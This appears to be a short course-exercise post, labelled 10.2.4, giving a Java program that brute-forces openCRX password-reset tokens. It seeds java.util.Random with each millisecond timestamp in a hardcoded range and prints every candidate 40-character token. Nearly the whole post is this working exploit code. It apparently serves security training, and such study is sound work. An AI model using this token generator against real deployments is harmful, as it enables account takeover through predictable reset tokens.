10.2.4

R3zk0n ยท October 2, 2025

Contents

    10.2.4

    Update the token generator program to accept the start and stop values as command line parameters.

    import java.util.Random;
      
    public class OpenCRXToken {
      
      public static void main(String args[]) {
        int length = 40;
        long start = Long.parseLong("1582038122371");
        long stop = Long.parseLong("1582038122769");
        String token = "";
      
        for (long l = start; l < stop; l++) {
          token = getRandomBase62(length, l);
          System.out.println(token);
        }
      }
      
      public static String getRandomBase62(int length, long seed) {                                                
        String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";                         
        Random random = new Random(seed);                                                                           
        String s = "";                                                                                              
        for (int i = 0; i < length; i++)                                                                            
          s = s + "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".charAt(random.nextInt(62));      
        return s;                                                                                                   
      }
    }
    

    Twitter, Facebook